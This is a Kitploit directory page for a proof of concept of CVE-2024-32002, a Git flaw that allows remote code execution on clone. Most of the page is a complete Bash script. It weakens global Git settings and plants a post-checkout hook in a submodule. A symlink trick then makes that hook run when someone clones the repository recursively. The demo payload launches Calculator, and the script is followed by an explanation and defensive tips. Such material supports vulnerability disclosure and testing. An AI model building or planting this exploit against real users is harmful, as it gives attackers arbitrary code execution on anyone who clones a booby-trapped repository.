Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-32002-poc — CVE-2024-32002 是 Git 中的一个严重漏洞,允许攻击者在用户执行 git clone 操作时远程执行任意代码(RCE)。 | Kitploit
Tools/GitHubGitHub/bohemianhacks/cve-2024-32002-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubbohemianhacks/cve-2024-32002-poc

CVE-2024-32002-poc

CVE-2024-32002 是 Git 中的一个严重漏洞,允许攻击者在用户执行 git clone 操作时远程执行任意代码(RCE)。

View Repository
1111 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Bash Script:

root@kitploit:~
#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# Avoid warning messages (set default branch to main)
git config --global init.defaultBranch main 

# Define tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write malicious code to hook, compatible with Windows and macOS
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF

# Make hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create symbolic link
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

# Local testing (not needed for GitHub)
git clone --recursive captain hooked

Plain English Explanation:

This Bash script creates a malicious Git repository that exploits a vulnerability (CVE-2024-32002) to execute malicious code when someone clones the repository.

Here's a breakdown of what the script does:

  1. Sets up Git configuration: Enables certain features needed for the attack.
  2. Creates a malicious hook repository: This repository contains a hidden script that will run when someone clones it.
  3. Creates a deceptive repository: This repository, named "captain," appears harmless but secretly contains the malicious hook repository as a submodule.
  4. Adds a symbolic link: This trickery is used to hide the malicious hook and make it execute when the repository is cloned.

When someone clones the "captain" repository, the malicious script will run on their computer, potentially leading to harmful consequences like:

  • Installing malware: The script could download and install malicious software.
  • Data theft: It might steal sensitive information from the victim's computer.
  • System compromise: The script could gain unauthorized access to the system.

To protect yourself from such attacks:

  • Keep your Git client up-to-date: Ensure you have the latest version to address vulnerabilities.
  • Be cautious when cloning repositories: Only clone repositories from trusted sources.
  • Use a reputable antivirus program: This can help detect and block malicious software.
  • Be aware of phishing attacks: Avoid clicking on suspicious links or downloading files from unknown sources.

By following these precautions, you can significantly reduce the risk of falling victim to similar attacks.

Download Tool